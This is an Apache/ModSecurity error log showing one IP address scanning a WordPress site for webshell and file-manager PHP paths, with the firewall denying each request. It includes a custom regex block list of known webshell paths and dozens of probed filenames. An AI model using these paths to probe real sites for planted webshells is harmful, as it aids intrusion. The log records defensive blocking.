[Wed Apr 01 09:17:49.481988 2026] [:error] [pid 23714:tid 23739] [client 20.116.48.67:38844] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/403.php"] [unique_id "acxyPUHxDDU2ETcG9DQ-oQAAAAU"]
[Wed Apr 01 09:17:50.923846 2026] [:error] [pid 23715:tid 23782] [client 20.116.48.67:38911] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/403.php"] [unique_id "acxyPq-REzOruNbiT9yORQAAAFU"]
[Wed Apr 01 09:17:52.368076 2026] [:error] [pid 23716:tid 23810] [client 20.116.48.67:38784] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/403.php"] [unique_id "acxyQHVtFUg_mx-RYb6SOgAAAJY"]
[Wed Apr 01 09:17:53.809281 2026] [:error] [pid 23714:tid 23755] [client 20.116.48.67:38874] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acxyQUHxDDU2ETcG9DQ-rwAAABU"]
[Wed Apr 01 09:17:55.241471 2026] [:error] [pid 23714:tid 23748] [client 20.116.48.67:38733] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acxyQ0HxDDU2ETcG9DQ-vgAAAA4"]
[Wed Apr 01 09:17:56.679928 2026] [:error] [pid 24346:tid 24372] [client 20.116.48.67:38720] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acxyRLc1l8kg9MhGHIKxZgAAAVQ"]
[Wed Apr 01 09:17:58.131739 2026] [:error] [pid 23714:tid 23738] [client 20.116.48.67:38833] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acxyRkHxDDU2ETcG9DQ-xwAAAAQ"]
[Wed Apr 01 09:17:59.577596 2026] [:error] [pid 23819:tid 23826] [client 20.116.48.67:38751] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "acxyR9dfUS_37wFAM74IqAAAAMQ"]
[Wed Apr 01 09:18:00.998818 2026] [:error] [pid 24348:tid 24390] [client 20.116.48.67:38871] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugin.php"] [unique_id "acxySG0Vs69Y5nF1HA8R4QAAAYs"]
[Wed Apr 01 09:18:02.452470 2026] [:error] [pid 24348:tid 24396] [client 20.116.48.67:38787] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugin.php"] [unique_id "acxySm0Vs69Y5nF1HA8R5gAAAZE"]
[Wed Apr 01 09:18:03.922311 2026] [:error] [pid 24348:tid 24383] [client 20.116.48.67:38859] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugin.php"] [unique_id "acxyS20Vs69Y5nF1HA8R6AAAAYQ"]
[Wed Apr 01 09:18:05.341870 2026] [:error] [pid 24346:tid 24373] [client 20.116.48.67:38801] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/plugin.php"] [unique_id "acxyTbc1l8kg9MhGHIKxagAAAVU"]
[Wed Apr 01 09:18:06.789389 2026] [:error] [pid 24346:tid 24375] [client 20.116.48.67:38865] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "acxyTrc1l8kg9MhGHIKxbAAAAVc"]
[Wed Apr 01 09:18:08.215985 2026] [:error] [pid 24348:tid 24398] [client 20.116.48.67:38800] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Assets/edit.php"] [unique_id "acxyUG0Vs69Y5nF1HA8R7wAAAZM"]
[Wed Apr 01 09:18:09.683445 2026] [:error] [pid 23819:tid 23841] [client 20.116.48.67:38836] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Assets/edit.php"] [unique_id "acxyUddfUS_37wFAM74IwAAAANM"]
[Wed Apr 01 09:18:11.117100 2026] [:error] [pid 23819:tid 23833] [client 20.116.48.67:38724] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Assets/edit.php"] [unique_id "acxyU9dfUS_37wFAM74IxQAAAMs"]
[Wed Apr 01 09:18:12.558886 2026] [:error] [pid 23716:tid 23802] [client 20.116.48.67:38845] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Assets/edit.php"] [unique_id "acxyVHVtFUg_mx-RYb6SWAAAAI4"]
[Wed Apr 01 09:18:14.002751 2026] [:error] [pid 24346:tid 24353] [client 20.116.48.67:38906] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "acxyVrc1l8kg9MhGHIKxcAAAAUE"]
[Wed Apr 01 09:18:15.433579 2026] [:error] [pid 24348:tid 24389] [client 20.116.48.67:38793] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/file.php"] [unique_id "acxyV20Vs69Y5nF1HA8R_gAAAYo"]
[Wed Apr 01 09:18:16.904150 2026] [:error] [pid 23716:tid 23803] [client 20.116.48.67:38728] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/file.php"] [unique_id "acxyWHVtFUg_mx-RYb6SYwAAAI8"]
[Wed Apr 01 09:18:18.334092 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38847] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/file.php"] [unique_id "acxyWkHxDDU2ETcG9DQ-8QAAAAg"]
[Wed Apr 01 09:18:19.772258 2026] [:error] [pid 23716:tid 23797] [client 20.116.48.67:38769] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acxyW3VtFUg_mx-RYb6SbwAAAIk"]
[Wed Apr 01 09:18:21.196722 2026] [:error] [pid 23714:tid 23753] [client 20.116.48.67:38675] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acxyXUHxDDU2ETcG9DQ--gAAABM"]
[Wed Apr 01 09:18:22.856145 2026] [:error] [pid 24346:tid 24357] [client 20.116.48.67:38662] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acxyXrc1l8kg9MhGHIKxdwAAAUU"]
[Wed Apr 01 09:18:24.516661 2026] [:error] [pid 23716:tid 23790] [client 20.116.48.67:38766] File does not exist: /usr/local/apache/htdocs/suspended-page/user.php
[Wed Apr 01 09:18:24.730524 2026] [:error] [pid 23716:tid 23803] [client 20.116.48.67:38766] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Wed Apr 01 09:18:24.941907 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38766] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "acxyYHVtFUg_mx-RYb6ShgAAAJM"]
[Wed Apr 01 09:18:26.365806 2026] [:error] [pid 23819:tid 23838] [client 20.116.48.67:38893] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-login.php"] [unique_id "acxyYtdfUS_37wFAM74I2gAAANA"]
[Wed Apr 01 09:18:27.825473 2026] [:error] [pid 23714:tid 23743] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/gfile.php
[Wed Apr 01 09:18:28.040222 2026] [:error] [pid 23714:tid 23747] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/a2.php
[Wed Apr 01 09:18:28.257450 2026] [:error] [pid 23714:tid 23746] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/sty.php
[Wed Apr 01 09:18:28.473107 2026] [:error] [pid 23714:tid 23741] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/xxxx.php
[Wed Apr 01 09:18:28.690798 2026] [:error] [pid 23714:tid 23738] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/h.php
[Wed Apr 01 09:18:28.915168 2026] [:error] [pid 23714:tid 23743] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Wed Apr 01 09:18:29.130437 2026] [:error] [pid 23714:tid 23739] [client 20.116.48.67:38731] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Wed Apr 01 09:18:29.342596 2026] [:error] [pid 23714:tid 23756] [client 20.116.48.67:38731] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sys.php"] [unique_id "acxyZUHxDDU2ETcG9DQ_NAAAABY"]
[Wed Apr 01 09:18:30.795577 2026] [:error] [pid 23714:tid 23744] [client 20.116.48.67:38745] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sys.php"] [unique_id "acxyZkHxDDU2ETcG9DQ_QQAAAAo"]
[Wed Apr 01 09:18:32.228004 2026] [:error] [pid 23716:tid 23788] [client 20.116.48.67:38843] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sys.php"] [unique_id "acxyaHVtFUg_mx-RYb6SkAAAAIA"]
[Wed Apr 01 09:18:33.663169 2026] [:error] [pid 23716:tid 23792] [client 20.116.48.67:38678] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sys.php"] [unique_id "acxyaXVtFUg_mx-RYb6SlAAAAIQ"]
[Wed Apr 01 09:18:35.156815 2026] [:error] [pid 23819:tid 23846] [client 20.116.48.67:38743] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acxya9dfUS_37wFAM74I6wAAANg"]
[Wed Apr 01 09:18:36.619500 2026] [:error] [pid 23716:tid 23789] [client 20.116.48.67:38881] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acxybHVtFUg_mx-RYb6SnQAAAIE"]
[Wed Apr 01 09:18:38.064444 2026] [:error] [pid 23716:tid 23810] [client 20.116.48.67:38814] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acxybnVtFUg_mx-RYb6SpAAAAJY"]
[Wed Apr 01 09:18:39.496685 2026] [:error] [pid 23714:tid 23745] [client 20.116.48.67:38668] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "acxyb0HxDDU2ETcG9DQ_WQAAAAs"]
[Wed Apr 01 09:18:40.928648 2026] [:error] [pid 23714:tid 23743] [client 20.116.48.67:38737] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "acxycEHxDDU2ETcG9DQ_YAAAAAk"]
[Wed Apr 01 09:18:42.358799 2026] [:error] [pid 23714:tid 23739] [client 20.116.48.67:38896] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "acxyckHxDDU2ETcG9DQ_bgAAAAU"]
[Wed Apr 01 09:18:43.813143 2026] [:error] [pid 23715:tid 23769] [client 20.116.48.67:38852] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "acxyc6-REzOruNbiT9yOcwAAAEg"]
[Wed Apr 01 09:18:45.268338 2026] [:error] [pid 23714:tid 23750] [client 20.116.48.67:38849] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "acxydUHxDDU2ETcG9DQ_gwAAABA"]
[Wed Apr 01 09:18:46.722941 2026] [:error] [pid 23716:tid 23795] [client 20.116.48.67:38658] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acxydnVtFUg_mx-RYb6SuQAAAIc"]
[Wed Apr 01 09:18:48.183756 2026] [:error] [pid 24346:tid 24354] [client 20.116.48.67:38864] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acxyeLc1l8kg9MhGHIKxiQAAAUI"]
[Wed Apr 01 09:18:49.682161 2026] [:error] [pid 23819:tid 23831] [client 20.116.48.67:38727] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acxyeddfUS_37wFAM74JEAAAAMk"]
[Wed Apr 01 09:18:51.114104 2026] [:error] [pid 23714:tid 23749] [client 20.116.48.67:38899] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "acxye0HxDDU2ETcG9DQ_pAAAAA8"]
[Wed Apr 01 09:18:52.554224 2026] [:error] [pid 24348:tid 24384] [client 20.116.48.67:38846] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/path.php"] [unique_id "acxyfG0Vs69Y5nF1HA8SJgAAAYU"]
[Wed Apr 01 09:18:53.993174 2026] [:error] [pid 23716:tid 23791] [client 20.116.48.67:38815] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/path.php"] [unique_id "acxyfXVtFUg_mx-RYb6SyAAAAIM"]
[Wed Apr 01 09:18:55.453956 2026] [:error] [pid 23715:tid 23780] [client 20.116.48.67:38851] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/path.php"] [unique_id "acxyf6-REzOruNbiT9yOgQAAAFM"]
[Wed Apr 01 09:18:56.889494 2026] [:error] [pid 23714:tid 23744] [client 20.116.48.67:38839] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/path.php"] [unique_id "acxygEHxDDU2ETcG9DQ_uAAAAAo"]
[Wed Apr 01 09:18:58.340569 2026] [:error] [pid 23819:tid 23838] [client 20.116.48.67:38732] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "acxygtdfUS_37wFAM74JIwAAANA"]
[Wed Apr 01 09:18:59.780168 2026] [:error] [pid 24348:tid 24398] [client 20.116.48.67:38818] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "acxyg20Vs69Y5nF1HA8SMQAAAZM"]
[Wed Apr 01 09:19:01.223057 2026] [:error] [pid 24348:tid 24386] [client 20.116.48.67:38828] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "acxyhW0Vs69Y5nF1HA8SNgAAAYc"]
[Wed Apr 01 09:19:02.890755 2026] [:error] [pid 23716:tid 23805] [client 20.116.48.67:38838] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wdf.php"] [unique_id "acxyhnVtFUg_mx-RYb6S7QAAAJE"]
[Wed Apr 01 09:19:04.326644 2026] [:error] [pid 23819:tid 23835] [client 20.116.48.67:38903] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fleen.php"] [unique_id "acxyiNdfUS_37wFAM74JLAAAAM0"]
